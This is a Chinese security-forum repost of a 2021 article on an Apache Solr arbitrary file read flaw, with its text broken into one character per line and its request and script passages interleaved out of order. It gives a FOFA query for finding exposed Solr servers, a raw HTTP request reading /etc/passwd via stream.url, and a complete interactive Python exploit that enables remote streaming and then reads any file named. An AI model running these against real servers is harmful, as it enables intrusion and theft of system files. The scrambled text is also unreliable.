论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
漏洞
[735] 2021-03-18_（0day）ApacheSolr任意文件读取漏洞
文档创建者：
s7ckTeam
浏览次数：
10
最后更新：
2025-01-16
漏洞
10 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2021-03-18_（0day）ApacheSolr任意文件读取漏洞
（
0
d
a
y
）
A
p
a
c
h
e
S
o
l
r
任
意
文
件
读
取
漏
洞
黑
子
黑
b
g
b
i
n
g
安
全
2
0
2
1
-
0
3
-
1
8
f
o
f
a
语
法
如
下
：
a
p
p
=
"
A
p
a
c
h
e
-
S
o
l
r
"
我
们
随
便
点
一
个
进
去
P
O
C
如
下
：
P
O
S
T
/
s
o
l
r
/
c
k
a
n
/
d
e
b
u
g
/
d
u
m
p
?
p
a
r
a
m
=
C
o
n
t
e
n
t
S
t
r
e
a
m
s
H
T
T
P
/
1
.
1
H
o
s
t
:
x
x
x
.
x
x
x
.
x
x
x
.
x
x
x
:
8
9
8
3
当
然
我
们
也
可
以
使
用
P
e
i
Q
i
师
傅
已
经
写
好
的
p
y
t
h
o
n
脚
本
C
o
n
t
e
n
t
-
L
e
n
g
t
h
:
2
9
C
a
c
h
e
-
C
o
n
t
r
o
l
:
m
a
x
-
a
g
e
=
0
U
p
g
r
a
d
e
-
I
n
s
e
c
u
r
e
-
R
e
q
u
e
s
t
s
:
1
U
s
e
r
-
A
g
e
n
t
:
M
o
z
i
l
l
a
/
5
.
0
(
W
i
n
d
o
w
s
N
T
1
0
.
0
;
W
i
n
6
4
;
x
6
4
)
A
p
p
l
e
W
e
b
K
i
t
/
5
3
7
.
3
6
(
K
H
T
M
L
,
l
i
k
e
G
e
c
k
o
)
C
h
r
o
m
e
/
8
9
.
0
.
4
3
8
9
.
8
2
S
a
f
a
r
i
/
5
3
7
.
3
6
O
r
i
g
i
n
:
h
t
t
p
:
/
/
1
1
8
.
3
1
.
4
6
.
1
3
4
:
8
9
8
3
C
o
n
t
e
n
t
-
T
y
p
e
:
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
A
c
c
e
p
t
:
t
e
x
t
/
h
t
m
l
,
a
p
p
l
i
c
a
t
i
o
n
/
x
h
t
m
l
+
x
m
l
,
a
p
p
l
i
c
a
t
i
o
n
/
x
m
l
;
q
=
0
.
9
,
i
m
a
g
e
/
a
v
i
f
,
i
m
a
g
e
/
w
e
b
p
,
i
m
a
g
e
/
a
p
n
g
,
*
/
*
;
q
=
0
.
8
,
a
p
p
l
i
c
a
t
i
o
n
/
s
i
g
n
e
d
-
e
x
c
h
a
n
g
e
;
v
=
b
3
;
q
=
0
.
9
R
e
f
e
r
e
r
:
h
t
t
p
:
/
/
1
1
8
.
3
1
.
4
6
.
1
3
4
:
8
9
8
3
/
s
o
l
r
/
c
k
a
n
/
c
o
n
f
i
g
A
c
c
e
p
t
-
E
n
c
o
d
i
n
g
:
g
z
i
p
,
d
e
f
l
a
t
e
A
c
c
e
p
t
-
L
a
n
g
u
a
g
e
:
z
h
-
C
N
,
z
h
;
q
=
0
.
9
,
e
n
-
U
S
;
q
=
0
.
8
,
e
n
;
q
=
0
.
7
,
z
h
-
T
W
;
q
=
0
.
6
C
o
n
n
e
c
t
i
o
n
:
c
l
o
s
e
s
t
r
e
a
m
.
u
r
l
=
f
i
l
e
:
/
/
/
e
t
c
/
p
a
s
s
w
d
i
m
p
o
r
t
r
e
q
u
e
s
t
s
i
m
p
o
r
t
s
y
s
i
m
p
o
r
t
r
a
n
d
o
m
i
m
p
o
r
t
r
e
i
m
p
o
r
t
b
a
s
e
6
4
i
m
p
o
r
t
t
i
m
e
f
r
o
m
l
x
m
l
i
m
p
o
r
t
e
t
r
e
e
i
m
p
o
r
t
j
s
o
n
f
r
o
m
r
e
q
u
e
s
t
s
.
p
a
c
k
a
g
e
s
.
u
r
l
l
i
b
3
.
e
x
c
e
p
t
i
o
n
s
i
m
p
o
r
t
I
n
s
e
c
u
r
e
R
e
q
u
e
s
t
W
a
r
n
i
n
g
d
e
f
t
i
t
l
e
(
)
:
p
r
i
n
t
(
'
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
4
m
P
O
C
_
D
e
s
:
h
t
t
p
:
/
/
w
i
k
i
.
p
e
i
q
i
.
t
e
c
h
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
4
m
G
i
t
h
u
b
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
P
e
i
Q
i
0
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
4
m
公
众
号
:
P
e
i
Q
i
文
库
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
4
m
V
e
r
s
i
o
n
:
A
p
a
c
h
e
S
o
l
r
<
8
.
2
.
0
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
6
m
使
用
格
式
:
p
y
t
h
o
n
3
C
V
E
-
2
0
1
9
-
0
1
9
3
.
p
y
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
6
m
U
r
l
>
>
>
h
t
t
p
:
/
/
x
x
x
.
x
x
x
.
x
x
x
.
x
x
x
:
8
9
8
3
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
0
3
3
[
3
6
m
F
i
l
e
>
>
>
文
件
名
称
或
目
录
0
3
3
[
0
m
'
)
p
r
i
n
t
(
'
+
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
'
)
d
e
f
P
O
C
_
1
(
t
a
r
g
e
t
_
u
r
l
)
:
c
o
r
e
_
u
r
l
=
t
a
r
g
e
t
_
u
r
l
+
"
/
s
o
l
r
/
a
d
m
i
n
/
c
o
r
e
s
?
i
n
d
e
x
I
n
f
o
=
f
a
l
s
e
&
w
t
=
j
s
o
n
"
t
r
y
:
r
e
s
p
o
n
s
e
=
r
e
q
u
e
s
t
s
.
r
e
q
u
e
s
t
(
"
G
E
T
"
,
u
r
l
=
c
o
r
e
_
u
r
l
,
t
i
m
e
o
u
t
=
1
0
)
c
o
r
e
_
n
a
m
e
=
l
i
s
t
(
j
s
o
n
.
l
o
a
d
s
(
r
e
s
p
o
n
s
e
.
t
e
x
t
)
[
"
s
t
a
t
u
s
"
]
)
[
0
]
p
r
i
n
t
(
"
0
3
3
[
3
2
m
[
o
]
成
功
获
得
c
o
r
e
_
n
a
m
e
,
U
r
l
为
：
"
+
t
a
r
g
e
t
_
u
r
l
+
"
/
s
o
l
r
/
"
+
c
o
r
e
_
n
a
m
e
+
"
/
c
o
n
f
i
g
0
3
3
[
0
m
"
)
r
e
t
u
r
n
c
o
r
e
_
n
a
m
e
e
x
c
e
p
t
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
目
标
U
r
l
漏
洞
利
用
失
败
0
3
3
[
0
m
"
)
s
y
s
.
e
x
i
t
(
0
)
d
e
f
P
O
C
_
2
(
t
a
r
g
e
t
_
u
r
l
,
c
o
r
e
_
n
a
m
e
)
:
v
u
l
n
_
u
r
l
=
t
a
r
g
e
t
_
u
r
l
+
"
/
s
o
l
r
/
"
+
c
o
r
e
_
n
a
m
e
+
"
/
c
o
n
f
i
g
"
h
e
a
d
e
r
s
=
{
"
C
o
n
t
e
n
t
-
t
y
p
e
"
:
"
a
p
p
l
i
c
a
t
i
o
n
/
j
s
o
n
"
}
我
们
把
脚
本
复
制
到
一
个
t
e
s
t
.
p
y
里
，
然
后
开
始
运
行
d
a
t
a
=
'
{
"
s
e
t
-
p
r
o
p
e
r
t
y
"
:
{
"
r
e
q
u
e
s
t
D
i
s
p
a
t
c
h
e
r
.
r
e
q
u
e
s
t
P
a
r
s
e
r
s
.
e
n
a
b
l
e
R
e
m
o
t
e
S
t
r
e
a
m
i
n
g
"
:
t
r
u
e
}
}
'
t
r
y
:
r
e
q
u
e
s
t
s
.
p
a
c
k
a
g
e
s
.
u
r
l
l
i
b
3
.
d
i
s
a
b
l
e
_
w
a
r
n
i
n
g
s
(
I
n
s
e
c
u
r
e
R
e
q
u
e
s
t
W
a
r
n
i
n
g
)
r
e
s
p
o
n
s
e
=
r
e
q
u
e
s
t
s
.
p
o
s
t
(
u
r
l
=
v
u
l
n
_
u
r
l
,
d
a
t
a
=
d
a
t
a
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
,
v
e
r
i
f
y
=
F
a
l
s
e
,
t
i
m
e
o
u
t
=
5
)
p
r
i
n
t
(
"
0
3
3
[
3
6
m
[
o
]
正
在
准
备
文
件
读
取
.
.
.
.
.
.
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
)
)
i
f
"
T
h
i
s
"
i
n
r
e
s
p
o
n
s
e
.
t
e
x
t
a
n
d
r
e
s
p
o
n
s
e
.
s
t
a
t
u
s
_
c
o
d
e
=
=
2
0
0
:
p
r
i
n
t
(
"
0
3
3
[
3
2
m
[
o
]
目
标
{
}
可
能
存
在
漏
洞
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
)
)
e
l
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
目
标
{
}
不
存
在
漏
洞
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
t
a
r
g
e
t
_
u
r
l
)
)
s
y
s
.
e
x
i
t
(
0
)
e
x
c
e
p
t
E
x
c
e
p
t
i
o
n
a
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
请
求
失
败
0
3
3
[
0
m
"
,
e
)
d
e
f
P
O
C
_
3
(
t
a
r
g
e
t
_
u
r
l
,
c
o
r
e
_
n
a
m
e
,
F
i
l
e
_
n
a
m
e
)
:
v
u
l
n
_
u
r
l
=
t
a
r
g
e
t
_
u
r
l
+
"
/
s
o
l
r
/
{
}
/
d
e
b
u
g
/
d
u
m
p
?
p
a
r
a
m
=
C
o
n
t
e
n
t
S
t
r
e
a
m
s
"
.
f
o
r
m
a
t
(
c
o
r
e
_
n
a
m
e
)
h
e
a
d
e
r
s
=
{
"
C
o
n
t
e
n
t
-
T
y
p
e
"
:
"
a
p
p
l
i
c
a
t
i
o
n
/
x
-
w
w
w
-
f
o
r
m
-
u
r
l
e
n
c
o
d
e
d
"
}
d
a
t
a
=
'
s
t
r
e
a
m
.
u
r
l
=
f
i
l
e
:
/
/
{
}
'
.
f
o
r
m
a
t
(
F
i
l
e
_
n
a
m
e
)
t
r
y
:
r
e
q
u
e
s
t
s
.
p
a
c
k
a
g
e
s
.
u
r
l
l
i
b
3
.
d
i
s
a
b
l
e
_
w
a
r
n
i
n
g
s
(
I
n
s
e
c
u
r
e
R
e
q
u
e
s
t
W
a
r
n
i
n
g
)
r
e
s
p
o
n
s
e
=
r
e
q
u
e
s
t
s
.
p
o
s
t
(
u
r
l
=
v
u
l
n
_
u
r
l
,
d
a
t
a
=
d
a
t
a
,
h
e
a
d
e
r
s
=
h
e
a
d
e
r
s
,
v
e
r
i
f
y
=
F
a
l
s
e
,
t
i
m
e
o
u
t
=
5
)
i
f
"
N
o
s
u
c
h
f
i
l
e
o
r
d
i
r
e
c
t
o
r
y
"
i
n
r
e
s
p
o
n
s
e
.
t
e
x
t
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
读
取
{
}
失
败
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
F
i
l
e
_
n
a
m
e
)
)
e
l
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
6
m
[
o
]
响
应
为
:
n
{
}
0
3
3
[
0
m
"
.
f
o
r
m
a
t
(
j
s
o
n
.
l
o
a
d
s
(
r
e
s
p
o
n
s
e
.
t
e
x
t
)
[
"
s
t
r
e
a
m
s
"
]
[
0
]
[
"
s
t
r
e
a
m
"
]
)
)
e
x
c
e
p
t
E
x
c
e
p
t
i
o
n
a
s
e
:
p
r
i
n
t
(
"
0
3
3
[
3
1
m
[
x
]
请
求
失
败
0
3
3
[
0
m
"
,
e
)
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
t
i
t
l
e
(
)
t
a
r
g
e
t
_
u
r
l
=
s
t
r
(
i
n
p
u
t
(
"
0
3
3
[
3
5
m
P
l
e
a
s
e
i
n
p
u
t
A
t
t
a
c
k
U
r
l
n
U
r
l
>
>
>
0
3
3
[
0
m
"
)
)
c
o
r
e
_
n
a
m
e
=
P
O
C
_
1
(
t
a
r
g
e
t
_
u
r
l
)
P
O
C
_
2
(
t
a
r
g
e
t
_
u
r
l
,
c
o
r
e
_
n
a
m
e
)
w
h
i
l
e
T
r
u
e
:
F
i
l
e
_
n
a
m
e
=
s
t
r
(
i
n
p
u
t
(
"
0
3
3
[
3
5
m
F
i
l
e
>
>
>
0
3
3
[
0
m
"
)
)
P
O
C
_
3
(
t
a
r
g
e
t
_
u
r
l
,
c
o
r
e
_
n
a
m
e
,
F
i
l
e
_
n
a
m
e
)
发
现
成
功
读
取
到
/
e
t
c
/
p
a
s
s
w
d
S
o
l
r
S
o
l
r
是
一
个
独
立
的
企
业
级
搜
索
应
用
服
务
器
，
它
对
外
提
供
类
似
于
W
e
b
-
s
e
r
v
i
c
e
的
A
P
I
接
口
。
用
户
可
以
通
过
h
t
t
p
请
求
，
向
搜
索
引
擎
服
务
器
提
交
一
定
格
式
的
X
M
L
文
件
，
生
成
索
引
；
也
可
以
通
过
H
t
t
p
G
e
t
操
作
提
出
查
找
请
求
，
并
得
到
X
M
L
格
式
的
返
回
结
果
。
特
点
S
o
l
r
是
一
个
高
性
能
，
采
用
J
a
v
a
开
发
，
基
于
L
u
c
e
n
e
的
全
文
搜
索
服
务
器
。
同
时
对
其
进
行
了
扩
展
，
提
供
了
比
L
u
c
e
n
e
更
为
丰
富
的
查
询
语
言
，
同
时
实
现
了
可
配
置
、
可
扩
展
并
对
查
询
性
能
进
行
了
优
化
，
并
且
提
供
了
一
个
完
善
的
功
能
管
理
界
面
，
是
一
款
非
常
优
秀
的
全
文
搜
索
引
擎
。
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页
发表
漏洞